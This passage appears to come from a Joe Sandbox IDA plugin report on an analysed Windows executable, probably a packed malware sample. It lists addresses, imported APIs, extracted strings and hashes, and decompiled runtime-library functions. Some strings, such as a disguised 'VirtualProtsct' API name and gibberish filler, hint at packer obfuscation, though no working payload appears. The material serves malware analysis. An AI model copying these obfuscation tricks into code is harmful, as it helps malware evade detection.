0x0040323c
0x00403244
0x0040324c
0x00403257
0x0040325f
0x00403267
0x0040326f
0x00403277
0x0040327f
0x00403287
0x00403292
0x0040329a
0x004032a2
0x004032aa
0x004032b2
0x004032ba
0x004032c2
0x004032ca
0x004032d2
0x004032dd
0x004032e8
0x004032f0
0x004032f8
0x00403300
0x00403308
0x00403310
0x00403318
0x00403320
0x0040332b
0x00403336
0x0040333e
0x00403346
0x0040334e
0x00403356
0x00403361
0x00403369
0x00403374
0x0040337c
0x00403387
0x0040338f
0x00403397
0x0040339f
0x004033a7
0x004033b2
0x004033ba
0x004033c5
0x004033cd
0x004033d5
0x004033e0
0x004033e8
0x004033f0
0x004033fb
0x00403403
0x0040340e
0x00403416
0x00403421
0x0040342c
0x00403434
0x0040343f
0x0040344a
0x00403452
0x0040345a
0x00403462
0x0040346a
0x00403472
0x0040347d
0x00403485
0x00403490
0x00403498
0x004034a3
0x004034ae
0x004034b9
0x004034c1
0x004034cc
0x004034d7
0x004034df
0x004034ea
0x004034f5
0x004034fd
0x00403505
0x00403510
0x0040351b
0x00403523
0x0040352e
0x00403536
0x00403541
0x0040354c
0x00403554
0x0040355f
0x0040356a
0x00403572
0x0040357a
0x00403585
0x0040358d
0x00403595
0x0040359d
0x004035a8
0x004035b0
0x004035b8
0x004035c3
0x004035ce
0x004035d9
0x004035e4
0x004035ec
0x004035f7
0x004035ff
0x0040360a
0x00403612
0x0040361a
0x00403622
0x0040362d
0x00403635
0x00403640
0x00403648
0x00403653
0x0040365e
0x00403669
0x00403674
0x0040367f
0x0040368a
0x00403695
0x004036a0
0x004036a8
0x004036b3
0x004036be
0x004036c9
0x004036d4
0x004036df
0x004036ea
0x004036f5
0x004036fd
0x00403708
0x00403713
0x0040371e
0x00403729
0x00403731
0x0040373c
0x00403744
0x0040374c
0x00403757
0x00403762
0x0040376a
0x00403775
0x00403780
0x0040378b
0x00403793
0x0040379e
0x004037a6
0x004037b1
0x004037bc
0x004037c7
0x004037d2
0x004037dd
0x004037e8
0x004037f0
0x004037fb
0x00403806
0x00403811
0x0040381c
0x00403827
0x00403832
0x0040383d
0x00403848
0x00403850
0x0040385b
0x00403866
0x00403871
0x00403879
0x00403881
0x0040388c
0x00403894
0x0040389f
0x004038aa
0x004038b5
0x004038c0
0x004038cb
0x004038d3
0x004038de
0x004038e9
0x004038f4
0x004038ff
0x0040390a
0x00403915
0x0040391d
0x00403928
0x00403933
0x0040393e
0x00403949
0x00403954
0x0040395f
0x0040396a
0x00403975
0x0040397d
0x00403988
0x00403993
0x0040399b
0x004039a6
0x004039b1
0x004039bc
0x004039c7
0x004039cf
0x004039da
0x004039e5
0x004039f0
0x004039f8
0x00403a03
0x00403a0b
0x00403a16
0x00403a21
0x00403a29
0x00403a31
0x00403a3c
0x00403a47
0x00403a4f
0x00403a5a
0x00403a65
0x00403a70
0x00403a7b
0x00403a86
0x00403a8e
0x00403a96
0x00403aa1
0x00403aac
0x00403ab7
0x00403ac2
0x00403acd
0x00403ad8
0x00403ae3
0x00403aee
0x00403af6
0x00403b01
0x00403b09
0x00403b14
0x00403b1c
0x00403b27
0x00403b32
0x00403b3d
0x00403b48
0x00403b53
0x00403b5e
0x00403b69
0x00403b71
0x00403b7c
0x00403b84
0x00403b8c
0x00403b97
0x00403ba2
0x00403bad
0x00403bb8
0x00403bc0
0x00403bcb
0x00403bd6
0x00403be1
0x00403bec
0x00403bf4
0x00403bff
0x00403c0a
0x00403c15
0x00403c20
0x00403c2b
0x00403c36
0x00403c41
0x00403c4c
0x00403c57
0x00403c5f
0x00403c67
0x00403c72
0x00403c7d
0x00403c88
0x00403c93
0x00403c9e
0x00403ca6
0x00403cb1
0x00403cbc
0x00403cc7
0x00403cd2
0x00403cdd
0x00403ce8
0x00403cf3
0x00403cfe
0x00403d09
0x00403d14
0x00403d1f
0x00403d2a
0x00403d35
0x00403d40
0x00403d4b
0x00403d56
0x00403d61
0x00403d6c
0x00403d77
0x00403d82
0x00403d8d
0x00403d98
0x00403da3
0x00403dae
0x00403db9
0x00403dc4
0x00403dcf
0x00403dda
0x00403de5
0x00403df0
0x00403df8
0x00403e00
0x00403e0b
0x00403e16
0x00403e21
0x00403e2c
0x00403e37
0x00403e3f
0x00403e4a
0x00403e55
0x00403e60
0x00403e6b
0x00403e76
0x00403e81
0x00403e8c
0x00403e97
0x00403ea2
0x00403ead
0x00403eb8
0x00403ec3
0x00403ecb
0x00403ed6
0x00403ee1
0x00403eec
0x00403ef7
0x00403eff
0x00403f0a
0x00403f15
0x00403f1d
0x00403f28
0x00403f33
0x00403f3e
0x00403f49
0x00403f51
0x00403f5c
0x00403f67
0x00403f72
0x00403f7a
0x00403f85
0x00403f90
0x00403f9b
0x00403fa6
0x00403fb1
0x00403fbc
0x00403fc7
0x00403fd2
0x00403fda
0x00403fe5
0x00403fec
0x00403ff4
0x00403ff4
0x00403ffe
0x0040400e
0x0040401a
0x00000000
0x00000000
0x00404036
0x00404036
0x00404045
0x00404054
0x00404064
0x0040406e
0x00404077
0x0040407c
0x00404083
0x00404096
0x0040409b
0x004040a1
0x004040a3
0x004040aa
0x004040b4
0x004040f9
0x004040f9
0x00404104
0x00404121
0x00404142
0x00404148
0x0040414f
0x00000000
0x00000000
0x00000000
0x004040b6
0x004040b6
0x004040b8
0x004040be
0x004040c8
0x004040cd
0x004040d2
0x004040d5
0x004040ef
0x004040ef
0x004040f4
0x004040f5
0x00000000
0x004040b6
0x00402c23
0x00402c2b
0x00402c2b
0x00402c2d
0x00402c2e
0x00402c3a
0x00000000
0x00000000
0x00402c3e
0x00402c49
0x00402c52
0x00402c5d
0x00402c64
0x00402c6e
0x00402c7c
0x00402c7f
0x00402c87
0x00402c8b
0x00402c92

APIs

GetLocalTime.KERNEL32(?), ref: 00401D3B
GetLocalTime.KERNEL32(?), ref: 00401D4D
GetLocalTime.KERNEL32(?), ref: 00401D57
GetLocalTime.KERNEL32(?), ref: 00401D69
GetLocalTime.KERNEL32(?), ref: 00401D8B
GetLocalTime.KERNEL32(?), ref: 00401DAD
GetLocalTime.KERNEL32(?), ref: 00401DB7
GetLocalTime.KERNEL32(?), ref: 00401DD9
GetLocalTime.KERNEL32(?), ref: 00401DF3
GetLocalTime.KERNEL32(?), ref: 00401E15
GetLocalTime.KERNEL32(?), ref: 00401E27
GetLocalTime.KERNEL32(?), ref: 00401E41
GetLocalTime.KERNEL32(?), ref: 00401E4B
GetLocalTime.KERNEL32(?), ref: 00401E5D
GetLocalTime.KERNEL32(?), ref: 00401E77
GetLocalTime.KERNEL32(?), ref: 00401E81
GetLocalTime.KERNEL32(?), ref: 00401E9B
GetLocalTime.KERNEL32(?), ref: 00401ECD
GetLocalTime.KERNEL32(?), ref: 00401ED7
GetLocalTime.KERNEL32(?), ref: 00401EE1
GetLocalTime.KERNEL32(?), ref: 00401EEB
GetLocalTime.KERNEL32(?), ref: 00401F05
GetLocalTime.KERNEL32(?), ref: 00401F17
GetLocalTime.KERNEL32(?), ref: 00401F29
GetLocalTime.KERNEL32(?), ref: 00401F3B
GetLocalTime.KERNEL32(?), ref: 00401F4D
GetLocalTime.KERNEL32(?), ref: 00401F72
GetLocalTime.KERNEL32(?), ref: 00401F94
GetLocalTime.KERNEL32(?), ref: 00401FA9
GetLocalTime.KERNEL32(?), ref: 00401FB3
GetLocalTime.KERNEL32(?), ref: 00401FE5
GetLocalTime.KERNEL32(?), ref: 00401FF7
GetLocalTime.KERNEL32(?), ref: 00402001
GetLocalTime.KERNEL32(?), ref: 0040202E
GetLocalTime.KERNEL32(?), ref: 00402038
GetLocalTime.KERNEL32(?), ref: 00402052
GetLocalTime.KERNEL32(?), ref: 004020AD
GetLocalTime.KERNEL32(?), ref: 0040210D
GetLocalTime.KERNEL32(?), ref: 00402117
GetLocalTime.KERNEL32(?), ref: 00402129
GetLocalTime.KERNEL32(?), ref: 0040213E
GetLocalTime.KERNEL32(?), ref: 00402148
GetLocalTime.KERNEL32(?), ref: 00402152
GetLocalTime.KERNEL32(?), ref: 0040215C
GetLocalTime.KERNEL32(?), ref: 00402166
GetLocalTime.KERNEL32(?), ref: 00402170
GetLocalTime.KERNEL32(?), ref: 0040218A
GetLocalTime.KERNEL32(?), ref: 0040219C
GetLocalTime.KERNEL32(?), ref: 004021B9
GetLocalTime.KERNEL32(?), ref: 0040221F
GetLocalTime.KERNEL32(?), ref: 00402229
GetLocalTime.KERNEL32(?), ref: 00402254
GetLocalTime.KERNEL32(?), ref: 0040225E
GetLocalTime.KERNEL32(?), ref: 00402268
GetLocalTime.KERNEL32(?), ref: 00402290
GetLocalTime.KERNEL32(?), ref: 0040229A
GetLocalTime.KERNEL32(?), ref: 004022C5
GetLocalTime.KERNEL32(?), ref: 004022DA
GetLocalTime.KERNEL32(?), ref: 004022E4
GetLocalTime.KERNEL32(?), ref: 00402314
GetLocalTime.KERNEL32(?), ref: 0040232E
GetLocalTime.KERNEL32(?), ref: 00402366
GetLocalTime.KERNEL32(?), ref: 00402370
GetLocalTime.KERNEL32(?), ref: 0040238D
GetLocalTime.KERNEL32(?), ref: 004023E3
GetLocalTime.KERNEL32(?), ref: 004023F8
GetLocalTime.KERNEL32(?), ref: 00402423
GetLocalTime.KERNEL32(?), ref: 0040242D
GetLocalTime.KERNEL32(?), ref: 00402437
GetLocalTime.KERNEL32(?), ref: 00402441
GetLocalTime.KERNEL32(?), ref: 00402469
GetLocalTime.KERNEL32(?), ref: 0040247B
GetLocalTime.KERNEL32(?), ref: 00402485
GetLocalTime.KERNEL32(?), ref: 0040249A
GetLocalTime.KERNEL32(?), ref: 004024DD
GetLocalTime.KERNEL32(?), ref: 004024F2
GetLocalTime.KERNEL32(?), ref: 00402522
GetLocalTime.KERNEL32(?), ref: 00402558
GetLocalTime.KERNEL32(?), ref: 00402562
GetLocalTime.KERNEL32(?), ref: 0040256C
GetLocalTime.KERNEL32(?), ref: 00402576
GetLocalTime.KERNEL32(?), ref: 00402580
GetLocalTime.KERNEL32(?), ref: 0040258A
GetLocalTime.KERNEL32(?), ref: 0040259F
GetLocalTime.KERNEL32(?), ref: 004025A9
GetLocalTime.KERNEL32(?), ref: 00402607
GetLocalTime.KERNEL32(?), ref: 00402634
GetLocalTime.KERNEL32(?), ref: 00402649
GetLocalTime.KERNEL32(?), ref: 00402653
GetLocalTime.KERNEL32(?), ref: 0040267B
GetLocalTime.KERNEL32(?), ref: 004026A3
GetLocalTime.KERNEL32(?), ref: 004026BD
GetLocalTime.KERNEL32(?), ref: 004026C7
GetLocalTime.KERNEL32(?), ref: 004026EF
GetLocalTime.KERNEL32(?), ref: 004026F9
GetLocalTime.KERNEL32(?), ref: 00402724
GetLocalTime.KERNEL32(?), ref: 00402751
GetLocalTime.KERNEL32(?), ref: 0040276E
GetLocalTime.KERNEL32(?), ref: 004027B4
GetLocalTime.KERNEL32(?), ref: 004027D4
GetLocalTime.KERNEL32(?), ref: 004027DE
GetLocalTime.KERNEL32(?), ref: 004027E8
GetLocalTime.KERNEL32(?), ref: 0040280D
GetLocalTime.KERNEL32(?), ref: 00402822
GetLocalTime.KERNEL32(?), ref: 0040283F
GetLocalTime.KERNEL32(?), ref: 00402849
GetLocalTime.KERNEL32(?), ref: 0040289D
GetLocalTime.KERNEL32(?), ref: 004028BF
GetLocalTime.KERNEL32(?), ref: 004028C9
GetLocalTime.KERNEL32(?), ref: 004028DE
GetLocalTime.KERNEL32(?), ref: 004028E8
GetLocalTime.KERNEL32(?), ref: 00402910
GetLocalTime.KERNEL32(?), ref: 0040291A
GetLocalTime.KERNEL32(?), ref: 0040294D
GetLocalTime.KERNEL32(?), ref: 0040298B
GetLocalTime.KERNEL32(?), ref: 004029C9
GetLocalTime.KERNEL32(?), ref: 004029D3
GetLocalTime.KERNEL32(?), ref: 004029E5
GetLocalTime.KERNEL32(?), ref: 004029EF
GetLocalTime.KERNEL32(?), ref: 00402A04
GetLocalTime.KERNEL32(?), ref: 00402A19
GetLocalTime.KERNEL32(?), ref: 00402A7A
GetLocalTime.KERNEL32(?), ref: 00402ABB
GetLocalTime.KERNEL32(?), ref: 00402AC5
GetLocalTime.KERNEL32(?), ref: 00402AE5
GetLocalTime.KERNEL32(?), ref: 00402AEF
GetLocalTime.KERNEL32(?), ref: 00402B43
GetLocalTime.KERNEL32(?), ref: 00402B4D
GetLocalTime.KERNEL32(?), ref: 00402B6D
GetLocalTime.KERNEL32(?), ref: 00402B95
GetLocalTime.KERNEL32(?), ref: 00402B9F
GetLocalTime.KERNEL32(?), ref: 00402BA9
GetLocalTime.KERNEL32(?), ref: 00402BBE
GetLocalTime.KERNEL32(?), ref: 00402BC8
GetLocalTime.KERNEL32(?), ref: 00402BDA
SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00402BFE
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00402C10
GetProcessShutdownParameters.KERNEL32(00000000,00000000), ref: 00402C3E
GetProcessTimes.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00402C49
SetProcessWorkingSetSize.KERNEL32(00000000,00000000,00000000), ref: 00402C52
CopyImage.USER32(00000000,00000000,00000000,00000000,00000000), ref: 00402C5D
DestroyIcon.USER32(00000000), ref: 00402C64
GetScrollRange.USER32(00000000,00000000,00000000,00000000), ref: 00402C6E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00402C7C
GetProcessId.KERNEL32(00000000), ref: 00402C7F
TerminateProcess.KERNEL32(00000000,00000000), ref: 00402C87
SetComputerNameExA.KERNEL32(00000000,00000000), ref: 00402C8B
ExitThread.KERNEL32 ref: 00402C92
GetStdHandle.KERNEL32(00000000,?,00000000), ref: 00402CC0
BeginPaint.USER32(00000000,00000000), ref: 00402CC8
ReportEventW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402CD3
GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000), ref: 00402D53
GetLastError.KERNEL32(?,00000000), ref: 00403FF4
GetCaretPos.USER32(?), ref: 00403FFE
GetFileInformationByHandle.KERNEL32(00000000,?,?,00000000), ref: 0040400E
lstrcpyW.KERNEL32(kernel32.dll,kernel), ref: 00404054
lstrcatA.KERNEL32(cesa,hewehovemariwikujinu), ref: 00404064
BeginPaint.USER32(00000000,00000000), ref: 0040406E
GlobalAlloc.KERNEL32(00000000,?), ref: 0040408A
CloseHandle.KERNEL32(00000000), ref: 004040B8
GetLastError.KERNEL32 ref: 004040BE

Part of subcall function 00401769: TransmitCommChar.KERNEL32(00000000,00000000), ref: 0040176D

Part of subcall function 00401786: GlobalAlloc.KERNEL32(00000000,00000064,00000000,004040E1,VirtualProtsct), ref: 0040178B

GetProcAddress.KERNEL32(00000000), ref: 004040E9
ExitThread.KERNEL32 ref: 0040414F

Strings

Q\I, xrefs: 004025EC
d4^S, xrefs: 00403D1F
yulawuzejuvine hisivihohice fogavohazo, xrefs: 00402BE7
4t^, xrefs: 00402EAC
h`, xrefs: 00403622
-s9^, xrefs: 0040277B
V=|c, xrefs: 00403E3F
kU9;, xrefs: 0040317F
>B67, xrefs: 00403AB7
,X`j, xrefs: 00401AAA
YT\f, xrefs: 0040301F
DF2, xrefs: 004023FA
Yi, xrefs: 00403993
K#", xrefs: 00401D95
2, xrefs: 00402CB3
x`;-, xrefs: 004022C7
z?w., xrefs: 00402E54
X.L;, xrefs: 00403DCF
U:8, xrefs: 00402970
_3G, xrefs: 0040339F
<FB, xrefs: 004034AE
,i7=, xrefs: 0040323C
kernel, xrefs: 0040404A
Iny4, xrefs: 004024DF
y, xrefs: 00403B5E
XB}, xrefs: 004038AA
#?4, xrefs: 00403C0A
#]Q', xrefs: 00403A7B
EyyT, xrefs: 00403CD2
>?`, xrefs: 004037E8
hewehovemariwikujinu, xrefs: 0040405A
y^, xrefs: 00403374
<iU, xrefs: 00401A10
@9Q), xrefs: 00402E2B
crd., xrefs: 00403472
f SN, xrefs: 0040289F
Wd5s, xrefs: 004024BF
wutikefevasukena, xrefs: 00404039
+\j, xrefs: 00403811
US{j, xrefs: 0040208A
|[#G, xrefs: 00402824
5nF-, xrefs: 004020D2
9F0%, xrefs: 00402F0C
,z G, xrefs: 00401B96
kernel32.dll, xrefs: 00402CE9, 00402D25, 0040404F
cesa, xrefs: 00402C23, 0040405F
VirtualProtsct, xrefs: 004040D7
+4-, xrefs: 0040302A
&FDb, xrefs: 00403ED6
e'x, xrefs: 00403850
IBQ., xrefs: 00402E96
rkfT, xrefs: 00403C9E
'l', xrefs: 00402405
D35, xrefs: 00403612
+]wQ, xrefs: 00403A8E

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: LocalTime$Process$Handle$AllocBeginErrorExitGlobalLastMessagePaintTerminateThread$AddressCaretCharCloseCommComputerCopyDestroyEventFileIconImageInformationModuleNameParametersPeekProcRangeReportScrollSendShutdownSizeTimesTransmitWorkinglstrcatlstrcpy
String ID: +4-$<iU$#?4$#]Q'$&FDb$+\j$+]wQ$,X`j$,i7=$,z G$-s9^$2$4t^$5nF-$9F0%$<FB$>B67$>?`$@9Q)$DF2$EyyT$IBQ.$Iny4$K#"$Q\I$U:8$US{j$V=|c$VirtualProtsct$Wd5s$X.L;$YT\f$_3G$cesa$crd.$d4^S$e'x$f SN$hewehovemariwikujinu$kU9;$kernel$kernel32.dll$rkfT$wutikefevasukena$x`;-$y$yulawuzejuvine hisivihohice fogavohazo$z?w.$|[#G$'l'$D35$XB}$Yi$y^$h`
API String ID: 3805334744-2952383494
Opcode ID: 98116cc52100b5153d8a43cfd951296bfb1c0a10bb98b7bfecdf0c123f7df103
Instruction ID: 343c22c849f926e867dde1577643f2c4dd939b00c4a6cd91ebf5d9b272fdfb00
Opcode Fuzzy Hash: 98116cc52100b5153d8a43cfd951296bfb1c0a10bb98b7bfecdf0c123f7df103
Instruction Fuzzy Hash: 8503FEB28093849BD2B0CF62C888BCFB7E8BF95314F548D1DA2C956510EB759A84CF57

Uniqueness

Uniqueness Score: 100.00%

Function 00409997, Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

C-Code - Quality: 100%

			E00409997(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				return UnhandledExceptionFilter(_a4);
			}

0x0040999c
0x004099ac

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040999C
UnhandledExceptionFilter.KERNEL32(?), ref: 004099A5

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f283c888d1eb34dbf62c78f32838b1f42c0c77475726009542327bd842e8f690
Instruction ID: bb39bd82b9ca0f9580599d5c2486f29b19bc1fa0c68e52dc32485925087297b1
Opcode Fuzzy Hash: f283c888d1eb34dbf62c78f32838b1f42c0c77475726009542327bd842e8f690
Instruction Fuzzy Hash: BFB0923184424AABCB002B91EC0ABC83F29EB08692F00C020FB0D84870EB6254908A99

Uniqueness

Uniqueness Score: 0.02%

Function 00408C23, Relevance: 1.3, APIs: 1, Instructions: 7
memoryCOMMON

C-Code - Quality: 100%

			E00408C23() {
				void* _t3;

				_t3 = GetProcessHeap();
				 *0x41f5d0 = _t3;
				return 0 | _t3 != 0x00000000;
			}

0x00408c23
0x00408c2b
0x00408c37

APIs

GetProcessHeap.KERNEL32(00405783,00416AC8,00000014), ref: 00408C23

Memory Dump Source

Source File: 00000008.00000001.524773073.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000001.524631432.00400000.00000002.sdmp
Associated: 00000008.00000001.525819295.00411000.00000002.sdmp
Associated: 00000008.00000001.526524016.00418000.00000008.sdmp
Associated: 00000008.00000001.526674488.0041C000.00000004.sdmp
Associated: 00000008.00000001.527136967.00421000.00000004.sdmp
Associated: 00000008.00000001.527474412.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_1_400000_153661691311498.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 08deda224e6f01898df432d00d44487a89d11628a5a72ddf7bd61a40bea98a98
Instruction ID: 17add46c96ee269cd5c326b3e7ece21ceb5dcd152d48c09fd0395c49dc48bf23
Opcode Fuzzy Hash: 08deda224e6f01898df432d00d44487a89d11628a5a72ddf7bd61a40bea98a98
Instruction Fuzzy Hash: 56B012B07031424747084F387C2828939D4770C241300807D7007C2574EF20C450DE08

Uniqueness

Uniqueness Score: 0.07%

Function 0040C2DC, Relevance: 10.7, APIs: 7, Instructions: 204
UNIQUELIBRARYCODE

C-Code - Quality: 74%

			E0040C2DC(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, int _a20, intOrPtr _a24, short* _a28, int _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				short* _t63;
				short* _t68;
				signed int _t72;
				void* _t75;
				signed int _t79;
				void* _t83;
				int _t88;
				char* _t89;
				int _t92;
				void* _t93;
				short* _t94;
				void* _t95;
				int _t97;
				int _t98;
				void* _t103;
				short* _t105;
				signed int _t108;
				signed int _t109;
				int _t113;
				void* _t114;
				int _t116;
				void* _t117;
				short* _t119;
				short* _t120;
				signed int _t121;
				short* _t122;
				short* _t124;
				void* _t131;

				_t109 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t55 =  *0x41de90; // 0xd3d41c0a
				_v8 = _t55 ^ _t121;
				_push(_t93);
				_t116 = _a20;
				if(_t116 <= 0) {
					L7:
					_t97 = _a32;
					_t113 = 0;
					if(_t97 == 0) {
						_t88 =  *( *_a4 + 4);
						_t97 = _t88;
						_a32 = _t88;
					}
					_t98 = MultiByteToWideChar(_t97, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t116, 0, 0);
					_v12 = _t98;
					if(_t98 != 0) {
						if(__eflags <= 0) {
							L22:
							_t94 = 0;
							__eflags = 0;
							L23:
							__eflags = _t94;
							if(_t94 == 0) {
								goto L10;
							}
							_t63 = MultiByteToWideChar(_a32, 1, _a16, _t116, _t94, _t98);
							__eflags = _t63;
							if(_t63 == 0) {
								L47:
								E00409E17(_t94);
								goto L48;
							}
							_t118 = _v12;
							_t113 = E00409EAD(_a8, _a12, _t94, _v12, 0, 0);
							_t124 =  &(_t122[0xc]);
							__eflags = _t113;
							if(_t113 == 0) {
								goto L47;
							}
							__eflags = _a12 & 0x00000400;
							if((_a12 & 0x00000400) == 0) {
								__eflags = _t113;
								if(_t113 <= 0) {
									L39:
									_t119 = 0;
									__eflags = 0;
									L40:
									__eflags = _t119;
									if(_t119 != 0) {
										_t68 = E00409EAD(_a8, _a12, _t94, _v12, _t119, _t113);
										__eflags = _t68;
										if(_t68 != 0) {
											_push(0);
											_push(0);
											__eflags = _a28;
											if(_a28 != 0) {
												_push(_a28);
												_push(_a24);
											} else {
												_push(0);
												_push(0);
											}
											_t113 = WideCharToMultiByte(_a32, 0, _t119, _t113, ??, ??, ??, ??);
										}
										E00409E17(_t119);
									}
									goto L47;
								}
								_t72 = 0xffffffe0;
								_t109 = _t72 % _t113;
								__eflags = _t72 / _t113 - 2;
								if(_t72 / _t113 < 2) {
									goto L39;
								}
								_t103 = _t113 + _t113;
								__eflags = _t103 + 8 - _t103;
								if(_t103 + 8 <= _t103) {
									goto L39;
								}
								_t75 = 8 + _t113 * 2;
								__eflags = _t75 - 0x400;
								if(_t75 > 0x400) {
									_t120 = E00405AC7(_t94, _t109, _t113, _t75);
									__eflags = _t120;
									if(_t120 == 0) {
										goto L47;
									}
									 *_t120 = 0xdddd;
									L38:
									_t119 =  &(_t120[4]);
									goto L40;
								}
								E0040C2B0(_t75);
								_t120 = _t124;
								__eflags = _t120;
								if(_t120 == 0) {
									goto L47;
								}
								 *_t120 = 0xcccc;
								goto L38;
							}
							_t105 = _a28;
							__eflags = _t105;
							if(_t105 != 0) {
								__eflags = _t113 - _t105;
								if(_t113 <= _t105) {
									E00409EAD(_a8, _a12, _t94, _t118, _a24, _t105);
								}
							}
							goto L47;
						}
						_t79 = 0xffffffe0;
						_t109 = _t79 % _t98;
						__eflags = _t79 / _t98 - 2;
						if(_t79 / _t98 < 2) {
							goto L22;
						}
						_t20 = _t98 + _t98 + 8; // 0x8
						__eflags = _t20 - _t98 + _t98;
						if(_t20 <= _t98 + _t98) {
							_t98 = _v12;
							goto L22;
						}
						_t83 = 8 + _v12 * 2;
						__eflags = _t83 - 0x400;
						if(_t83 > 0x400) {
							_t94 = E00405AC7(_t93, _t109, _t113, _t83);
							__eflags = _t94;
							if(_t94 == 0) {
								L20:
								_t98 = _v12;
								goto L23;
							}
							 *_t94 = 0xdddd;
							L19:
							_t94 =  &(_t94[4]);
							__eflags = _t94;
							goto L20;
						}
						E0040C2B0(_t83);
						_t94 = _t122;
						__eflags = _t94;
						if(_t94 == 0) {
							goto L20;
						} else {
							 *_t94 = 0xcccc;
							goto L19;
						}
					} else {
						L10:
						L48:
						_pop(_t114);
						_pop(_t117);
						_pop(_t95);
						return E00404B44(_t95, _v8 ^ _t121, _t109, _t114, _t117);
					}
				} else {
					_t89 = _a16;
					_t108 = _t116;
					while(1) {
						_t108 = _t108 - 1;
						if( *_t89 == 0) {
							break;
						}
						_t89 =  &(_t89[1]);
						if(_t108 != 0) {
							continue;
						} else {
							_t108 = _t108 | 0xffffffff;
							break;
						}
					}
					_t92 = _t116 - _t108 - 1;
					_t131 = _t92 - _t116;
					_t116 = _t92 + 1;
					if(_t131 >= 0) {
						_t116 = _t92;
					}
					goto L7;
				}
			}

0x0040c2dc
0x0040c2df
0x0040c2e0
0x0040c2e1
0x0040c2e8
0x0040c2eb
0x0040c2ed
0x0040c2f3
0x0040c316
0x0040c316
0x0040c319
0x0040c31d
0x0040c324
0x0040c327
0x0040c329
0x0040c329
0x0040c34b
0x0040c34d
0x0040c352
0x0040c35b
0x0040c3b4
0x0040c3b4
0x0040c3b4
0x0040c3b6
0x0040c3b6
0x0040c3b8
0x00000000
0x00000000
0x0040c3c5
0x0040c3cb
0x0040c3cd
0x0040c4c3
0x0040c4c4
0x00000000
0x0040c4ca
0x0040c3d3
0x0040c3e7
0x0040c3e9
0x0040c3ec
0x0040c3ee
0x00000000
0x00000000
0x0040c3f4
0x0040c3fb
0x0040c429
0x0040c42b
0x0040c47c
0x0040c47c
0x0040c47c
0x0040c47e
0x0040c47e
0x0040c480
0x0040c48f
0x0040c497
0x0040c499
0x0040c49d
0x0040c49e
0x0040c49f
0x0040c4a2
0x0040c4a8
0x0040c4ab
0x0040c4a4
0x0040c4a4
0x0040c4a5
0x0040c4a5
0x0040c4ba
0x0040c4ba
0x0040c4bd
0x0040c4c2
0x00000000
0x0040c480
0x0040c431
0x0040c432
0x0040c434
0x0040c437
0x00000000
0x00000000
0x0040c439
0x0040c43f
0x0040c441
0x00000000
0x00000000
0x0040c443
0x0040c44a
0x0040c44f
0x0040c46a
0x0040c46d
0x0040c46f
0x00000000
0x00000000
0x0040c471
0x0040c477
0x0040c477
0x00000000
0x0040c477
0x0040c451
0x0040c456
0x0040c458
0x0040c45a
0x00000000
0x00000000
0x0040c45c
0x00000000
0x0040c45c
0x0040c3fd
0x0040c400
0x0040c402
0x0040c408
0x0040c40a
0x0040c41c
0x0040c421
0x0040c40a
0x00000000
0x0040c402
0x0040c361
0x0040c362
0x0040c364
0x0040c367
0x00000000
0x00000000
0x0040c36b
0x0040c36e
0x0040c370
0x0040c3b1
0x00000000
0x0040c3b1
0x0040c375
0x0040c37c
0x0040c381
0x0040c39c
0x0040c39f
0x0040c3a1
0x0040c3ac
0x0040c3ac
0x00000000
0x0040c3ac
0x0040c3a3
0x0040c3a9
0x0040c3a9
0x0040c3a9
0x00000000
0x0040c3a9
0x0040c383
0x0040c388
0x0040c38a
0x0040c38c
0x00000000
0x0040c38e
0x0040c38e
0x00000000
0x0040c38e
0x0040c354
0x0040c354
0x0040c4cc
0x0040c4cf
0x0040c4d0
0x0040c4d1
0x0040c4df
0x0040c4df
0x0040c2f5
0x0040c2f5
0x0040c2f8
0x0040c2fa
0x0040c2fa
0x0040c2fe
0x00000000
0x00000000
0x0040c300
0x0040c303
0x00000000
0x0040c305
0x0040c305
0x00000000
0x0040c305
0x0040c303
0x0040c30c
0x0040c30d
0x0040c30f
0x0040c312
0x0040c314
0x0040c314
0x00000000
0x0040c312

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,0040A99A,00000000,?,?,?,0040C512,00000100,?,00000100), ref: 0040C345
_malloc.LIBCMT ref: 0040C397
